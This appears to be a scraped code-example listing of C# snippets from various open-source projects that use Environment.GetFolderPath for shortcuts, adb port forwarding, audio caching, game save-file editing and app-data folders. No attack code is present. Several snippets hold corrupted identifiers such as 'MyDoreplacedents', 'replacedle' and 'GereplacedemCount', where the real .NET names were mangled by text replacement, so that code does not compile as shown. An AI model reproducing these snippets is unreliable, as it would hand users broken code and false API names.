Project Creator : AdamMYoung
License : GNU General Public License v3.0
Project Creator : AdamMYoung
internal static string GetGroupShortcut(GroupViewModel group)
{
var appDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents);
var folderPath = Path.Combine(appDirectory, @"Groupr\Shortcuts\");
Regex illegalInFileName = new Regex(@"[\\/:*?""<>|]");
var fileName = group.Name + " " + DateTime.Now.ToString($"yyyy-MM-dd") + ".lnk";
var sanitizedFileName = illegalInFileName.Replace(fileName, "");
var shortcutPath = Path.Combine(folderPath, sanitizedFileName);
Directory.CreateDirectory(folderPath);
if (!File.Exists(shortcutPath))
CreateGroupShortcut(group, shortcutPath);
return folderPath;
}
19
View Source File : Program.cs
License : MIT License
Project Creator : adospace
License : MIT License
Project Creator : adospace
private static bool ExecutePortForwardCommmand()
{
var adbCommandLine = "\"" + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Android", "sdk", "platform-tools", "adb" + (IsWindows ? ".exe" : "")) + "\" "
+ "forward tcp:45820 tcp:45820";
var adbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Android", "android-sdk", "platform-tools", "adb.exe");
var process = new System.Diagnostics.Process();
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.Arguments = "forward tcp:45820 tcp:45820";
process.StartInfo.FileName = adbPath;
try
{
process.Start();
var adb_output = process.StandardOutput.ReadToEnd();
if (adb_output.Length > 0 && adb_output != "45820" + Environment.NewLine)
throw new InvalidOperationException($"Unable to forward tcp port from emulator (executing '{adbPath} forward tcp:45820 tcp:45820' adb tool returned '{adb_output}')");
}
catch (Exception ex)
{
Console.WriteLine(process.StandardOutput.ReadToEnd());
Console.WriteLine(process.StandardError.ReadToEnd());
Console.WriteLine(ex.ToString());
return false;
}
return true;
}
19
View Source File : ReloadCommand.cs
License : MIT License
Project Creator : adospace
License : MIT License
Project Creator : adospace
private static bool ExecutePortForwardCommmand(IVsOutputWindowPane outputPane)
{
ThreadHelper.ThrowIfNotOnUIThread();
//C:\Program Files (x86)\Android\android-sdk\platform-tools\adb.exe
var adbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Android", "android-sdk", "platform-tools", "adb.exe");
if (!File.Exists(adbPath))
{
outputPane.OutputString($"Unable to find adb tool: file '{adbPath}' not found{Environment.NewLine}");
return false;
}
var process = new System.Diagnostics.Process();
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.Arguments = "forward tcp:45820 tcp:45820";
process.StartInfo.FileName = adbPath;
try
{
process.Start();
var adb_output = process.StandardOutput.ReadToEnd();
if (adb_output.Length > 0 && adb_output != "45820" + Environment.NewLine)
throw new InvalidOperationException($"Unable to forward tcp port from emulator (executing '{adbPath} forward tcp:45820 tcp:45820' adb tool returned '{adb_output}')");
}
catch (Exception ex)
{
outputPane.OutputString($"{process.StandardOutput.ReadToEnd()}{Environment.NewLine}");
outputPane.OutputString($"{process.StandardError.ReadToEnd()}{Environment.NewLine}");
outputPane.OutputString($"{ex}{Environment.NewLine}");
return false;
}
return true;
}
19
View Source File : SimpleAudioPlayerImplementation.cs
License : MIT License
Project Creator : adrianstevens
License : MIT License
Project Creator : adrianstevens
public bool Load(Stream audioStream)
{
player.Reset();
DeleteFile(path);
//cache to the file system
path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Personal), $"cache{index++}.wav");
var fileStream = File.Create(path);
audioStream.CopyTo(fileStream);
fileStream.Close();
try
{
player.SetDataSource(path);
}
catch
{
try
{
var context = Android.App.Application.Context;
player?.SetDataSource(context, Uri.Parse(Uri.Encode(path)));
}
catch
{
return false;
}
}
return PreparePlayer();
}
19
View Source File : SimpleAudioPlayerImplementation.cs
License : MIT License
Project Creator : adrianstevens
License : MIT License
Project Creator : adrianstevens
public bool Load(Stream audioStream)
{
DeletePlayer();
player = GetPlayer();
if (player != null)
{
var fileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic), $"{++index}.wav");
using (var fileStream = File.OpenWrite(fileName)) audioStream.CopyTo(fileStream);
player.Open(new Uri(fileName));
player.MediaEnded += OnPlaybackEnded;
}
return player != null && player.Source != null;
}
19
View Source File : SettingsWindow.xaml.cs
License : MIT License
Project Creator : adrianmteo
License : MIT License
Project Creator : adrianmteo
private void BrowseThemeHyperlink_Click(object sender, RoutedEventArgs e)
{
Hyperlink hyperlink = (Hyperlink)sender;
OpenFileDialog dialog = new OpenFileDialog();
string localAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string initialPath = Path.Combine(localAppDataPath, @"Microsoft\Windows\Themes");
dialog.Filter = "Theme files|*.theme";
dialog.replacedle = "Select a theme";
dialog.InitialDirectory = initialPath;
if (dialog.ShowDialog() == true)
{
PropertyInfo propertyInfo = _autoFileSaver.Model.GetType().GetProperty((string)hyperlink.Tag);
propertyInfo.SetValue(_autoFileSaver.Model, dialog.FileName, null);
}
}
19
View Source File : SimpleAudioRecorderImplementation.cs
License : MIT License
Project Creator : adrianstevens
License : MIT License
Project Creator : adrianstevens
string GetTempFileName()
{
var docFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
var libFolder = Path.Combine(docFolder, "..", "Library");
var tempFileName = Path.Combine(libFolder, Path.GetTempFileName());
return tempFileName;
}
19
View Source File : SettingsWindow.xaml.cs
License : MIT License
Project Creator : adrianmteo
License : MIT License
Project Creator : adrianmteo
private void BrowseWallpaperHyperlink_Click(object sender, RoutedEventArgs e)
{
Hyperlink hyperlink = (Hyperlink)sender;
OpenFileDialog dialog = new OpenFileDialog();
string initialPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
dialog.Filter = "Image files|*.jpg;*.jpeg;*.png|All files|*.*";
dialog.replacedle = "Select a wallpaper";
dialog.InitialDirectory = initialPath;
if (dialog.ShowDialog() == true)
{
PropertyInfo propertyInfo = _autoFileSaver.Model.GetType().GetProperty((string)hyperlink.Tag);
propertyInfo.SetValue(_autoFileSaver.Model, dialog.FileName, null);
}
}
19
View Source File : ModEntry.cs
License : GNU General Public License v3.0
Project Creator : aedenthorn
License : GNU General Public License v3.0
Project Creator : aedenthorn
private void GetLogFile(string arg1, string[] arg2)
{
string logPath = Path.Combine(Constants.DataPath, "ErrorLogs", "SMAPI-latest.txt");
if (!File.Exists(logPath))
{
Monitor.Log($"SMAPI log not found at {logPath}.", LogLevel.Error);
return;
}
if (arg2.Length == 0)
{
File.Copy(logPath, Environment.CurrentDirectory);
Monitor.Log($"Copied SMAPI log to game folder {Environment.CurrentDirectory}.", LogLevel.Alert);
}
else
{
string cmd = arg2[0].ToLower();
switch (cmd)
{
case "desktop":
case "dt":
File.Copy(logPath, Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
Monitor.Log($"Copied SMAPI log to Desktop {Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}.", LogLevel.Alert);
break;
case "copy":
case "cp":
string log = File.ReadAllText(logPath);
if (DesktopClipboard.SetText(log))
{
Monitor.Log($"Copied SMAPI log to Clipboard.", LogLevel.Alert);
}
else
{
Monitor.Log($"Coulding copy SMAPI log to Clipboard!", LogLevel.Error);
}
break;
}
}
}
19
View Source File : NodeEnvironmentProvider.cs
License : MIT License
Project Creator : AElfProject
License : MIT License
Project Creator : AElfProject
public string GetAppDataPath()
{
if (string.IsNullOrWhiteSpace(_appDataPath))
{
_appDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ApplicationFolderName);
if (!Directory.Exists(_appDataPath))
{
Directory.CreateDirectory(_appDataPath);
}
}
return _appDataPath;
}
19
View Source File : KeyStoreTestAElfModule.cs
License : MIT License
Project Creator : AElfProject
License : MIT License
Project Creator : AElfProject
public override void ConfigureServices(ServiceConfigurationContext context)
{
context.Services.AddSingleton(o =>
{
var service = new Mock<INodeEnvironmentService>();
service.Setup(s => s.GetAppDataPath())
.Returns(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"aelftest"));
return service.Object;
});
context.Services.AddSingleton<AElfKeyStore>();
}
19
View Source File : Form_SteamID64_Editor.cs
License : MIT License
Project Creator : Aemony
License : MIT License
Project Creator : Aemony
private void ReadSteamID()
{
OpenFileDialog dlg = new OpenFileDialog();
dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata";
dlg.Filter = "Data files (*.dat)|*.dat";
if (dlg.ShowDialog() == DialogResult.OK)
{
filePath = dlg.FileName;
if (filePath.Contains("SlotData"))
{
// SlotData files stores the SteamID64 in offset 04-11, GameData and SystemData files stores the SteamID64 in offset 00-07
fileOffset = 4;
}
else
{
fileOffset = 0;
}
try {
using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
{
stream.Position = fileOffset;
stream.Read(byteSteamID64, 0, 8);
}
// Convert to proper IDs.
// SteamID64 is stored as Little-Endian in the files, but as Intel is little-endian as well no reversal is needed
steamID3 = BitConverter.ToUInt32(byteSteamID64, 0);
textBoxSteamID3.Text = steamID3.ToString();
steamID64 = BitConverter.ToUInt64(byteSteamID64, 0);
textBoxSteamID64.Text = steamID64.ToString();
#if DEBUG
Console.WriteLine("Read: " + BitConverter.ToString(byteSteamID64));
Console.WriteLine("SteamID3: " + steamID3.ToString());
Console.WriteLine("SteamID64: " + steamID64.ToString());
#endif
// Misc
textBoxWorkingFile.Text = filePath;
textBoxWorkingFile.SelectionStart = textBoxWorkingFile.TextLength;
toolStripStatusLabel1.Text = "Read from " + Path.GetFileName(filePath) + ": " + BitConverter.ToString(byteSteamID64);
lastStatus = toolStripStatusLabel1.Text;
// Check if a new ID is already written, and if so, enable the button
if (String.IsNullOrWhiteSpace(textBoxSteamID64_New.Text) == false && String.IsNullOrWhiteSpace(filePath) == false && textBoxSteamID64_New.Text != textBoxSteamID64.Text)
{
buttonUpdate.Enabled = true;
}
else
{
buttonUpdate.Enabled = false;
}
} catch (Exception ex)
{
throw ex;
}
}
}
19
View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony
License : GNU General Public License v3.0
Project Creator : Aemony
private void buttonOpen_Click(object sender, EventArgs e)
{
DialogResult dialogResult = DialogResult.Yes;
if (_filePath == null && fastObjectListView1.GereplacedemCount() > 0)
{
dialogResult = MessageBox.Show("You already have an inventory list imported. Opening a slot file will discard all unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
}
else if (_filePath != null)
{
dialogResult = MessageBox.Show("You already have a file opened. Opening another will discard all unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
}
if (dialogResult == DialogResult.Yes)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata",
Filter = "Save File (SlotData_#.dat)|SlotData_*.dat",
replacedle = "Open slot file"
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
_filePath = openFileDialog.FileName;
textBoxFilePath.Text = _filePath;
textBoxFilePath.SelectionStart = textBoxFilePath.Text.Length;
// Ensure that the view is empty
fastObjectListView1.ClearObjects();
fastObjectListView2.ClearObjects();
// Read the file
using (Stream stream = openFileDialog.OpenFile())
{
stream.Position = _intBlockOffset;
stream.Read(_byteInventory, 0, _intBlockLength);
}
// Populate the active/main inventory
for (int i = 0; i < 256; i++)
{
_itemInventoryActive[i] = new Item
{
Slot = i,
ID = BitConverter.ToUInt32(_byteInventory, i * 12),
Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
};
}
// Populate the inactive/corpse inventory
for (int i = 256; i < 512; i++)
{
_itemInventoryCorpse[i - 256] = new Item
{
Slot = i - 256,
ID = BitConverter.ToUInt32(_byteInventory, i * 12),
Status = BitConverter.ToUInt32(_byteInventory, i * 12 + 4),
Amount = BitConverter.ToUInt32(_byteInventory, i * 12 + 8)
};
}
#if DEBUG
Console.WriteLine("Read:");
Console.WriteLine(BitConverter.ToString(_byteInventory));
#endif
// Populate the view
fastObjectListView1.SetObjects(_itemInventoryActive);
fastObjectListView2.SetObjects(_itemInventoryCorpse);
// Enable the buttons
buttonSave.Enabled = true;
buttonResetActive.Enabled = true;
buttonResetCorpse.Enabled = true;
buttonExport.Enabled = true;
// Finally update the background stuff to reflect the new file
_byteInventoryImportedActive = null;
_byteInventoryImportedCorpse = null;
textBoxInventoryPath.Text = "No inventory list imported...";
}
}
}
19
View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony
License : GNU General Public License v3.0
Project Creator : Aemony
private void buttonExport_Click(object sender, EventArgs e)
{
byte[] byteInventoryExport = new byte[_intBlockLength];
for (int i = 0; i < 256; i++)
{
BitConverter.GetBytes(_itemInventoryActive[i].ID).CopyTo(byteInventoryExport, i * 12);
BitConverter.GetBytes(_itemInventoryActive[i].Status).CopyTo(byteInventoryExport, i * 12 + 4);
BitConverter.GetBytes(_itemInventoryActive[i].Amount).CopyTo(byteInventoryExport, i * 12 + 8);
}
for (int i = 256; i < 512; i++)
{
BitConverter.GetBytes(_itemInventoryCorpse[i - 256].ID).CopyTo(byteInventoryExport, i * 12);
BitConverter.GetBytes(_itemInventoryCorpse[i - 256].Status).CopyTo(byteInventoryExport, i * 12 + 4);
BitConverter.GetBytes(_itemInventoryCorpse[i - 256].Amount).CopyTo(byteInventoryExport, i * 12 + 8);
}
SaveFileDialog saveFileDialog = new SaveFileDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata",
replacedle = "Export inventory to file",
Filter = "Binary Data (*.bin)|*.bin|All Files|*",
FileName = "inventory.bin"
};
if(saveFileDialog.ShowDialog() == DialogResult.OK)
{
// Now export the data
using (Stream stream = saveFileDialog.OpenFile())
{
stream.Position = 0;
stream.Write(byteInventoryExport, 0, _intBlockLength);
}
#if DEBUG
Console.WriteLine("Wrote:");
Console.WriteLine(BitConverter.ToString(byteInventoryExport));
#endif
MessageBox.Show("Inventory was exported!", "Export complete", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
19
View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : Aemony
License : GNU General Public License v3.0
Project Creator : Aemony
private void buttonImport_Click(object sender, EventArgs e)
{
DialogResult dialogResult = DialogResult.Yes;
if (_filePath != null && fastObjectListView1.GereplacedemCount() > 0)
{
dialogResult = MessageBox.Show("You already have a slot file opened. Importing an inventory list will overwrite the one from the slot file and discard any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
} else if (_byteInventoryImportedActive != null || _byteInventoryImportedCorpse != null)
{
dialogResult = MessageBox.Show("You already have an inventory list imported. Importing another will discard any unsaved changes.\n\nAre you sure you want to continue?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button2);
}
if(dialogResult == DialogResult.Yes)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + "\\My Games\\NieR_Automata",
Filter = "Binary Data (*.bin)|*.bin|All Files|*",
replacedle = "Import inventory to editor",
FileName = "inventory.bin"
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
FileInfo fileInfo = new FileInfo(openFileDialog.FileName);
if(fileInfo.Length == _intBlockLength)
{
// Initialize the array if it isn't
if (_byteInventoryImportedActive == null)
{
_byteInventoryImportedActive = new byte[_intBlockLength/2];
}
if (_byteInventoryImportedCorpse == null)
{
_byteInventoryImportedCorpse = new byte[_intBlockLength/2];
}
// Read file
using (Stream stream = openFileDialog.OpenFile())
{
stream.Position = 0;
stream.Read(_byteInventoryImportedActive, 0, _intBlockLength/2);
stream.Read(_byteInventoryImportedCorpse, 0, _intBlockLength/2);
}
// Populate the active/main inventory
for (int i = 0; i < 256; i++)
{
_itemInventoryActive[i] = new Item
{
Slot = i,
ID = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12),
Status = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12 + 4),
Amount = BitConverter.ToUInt32(_byteInventoryImportedActive, i * 12 + 8)
};
}
// Populate the inactive/corpse inventory
for (int i = 0; i < 256; i++)
{
_itemInventoryCorpse[i] = new Item
{
Slot = i,
ID = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12),
Status = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12 + 4),
Amount = BitConverter.ToUInt32(_byteInventoryImportedCorpse, i * 12 + 8)
};
}
#if DEBUG
Console.WriteLine("Read:");
Console.WriteLine(BitConverter.ToString(_byteInventoryImportedActive) + BitConverter.ToString(_byteInventoryImportedCorpse));
#endif
// Ensure that the view is empty
fastObjectListView1.ClearObjects();
fastObjectListView2.ClearObjects();
// Populate the view
fastObjectListView1.SetObjects(_itemInventoryActive);
fastObjectListView2.SetObjects(_itemInventoryCorpse);
// Enable the buttons
buttonExport.Enabled = true;
// List the path
textBoxInventoryPath.Text = openFileDialog.FileName;
textBoxInventoryPath.SelectionStart = openFileDialog.FileName.Length;
}
else
{
MessageBox.Show("Wrong size of the file you are trying to import!", "Import canceled", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
19
View Source File : FileService.cs
License : GNU General Public License v2.0
Project Creator : afrantzis
License : GNU General Public License v2.0
Project Creator : afrantzis
public void TryQuit()
{
if (AskForSaveIfFilesChanged()) {
string blessConfDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bless");
try {
Services.Session.Save(Path.Combine(blessConfDir, "last.session"));
History.Instance.Save(Path.Combine(blessConfDir, "history.xml"));
}
catch (Exception ex) { System.Console.WriteLine(ex.Message); }
Application.Quit ();
}
}
19
View Source File : FileResourcePath.cs
License : GNU General Public License v2.0
Project Creator : afrantzis
License : GNU General Public License v2.0
Project Creator : afrantzis
public static string GetUserPath(params string[] dirs)
{
string resourcePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bless");
foreach (string s in dirs)
resourcePath = Path.Combine(resourcePath, s);
return resourcePath;
}
19
View Source File : FileHandlers.cs
License : MIT License
Project Creator : afxw
License : MIT License
Project Creator : afxw
public static void HandleGetDirectory(PaceClient client, IPacket packet)
{
var getDirectoryPacket = (GetDirectoryRequestPacket)packet;
var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path;
GetDirectoryFileEntries(client, path);
}
See More Examples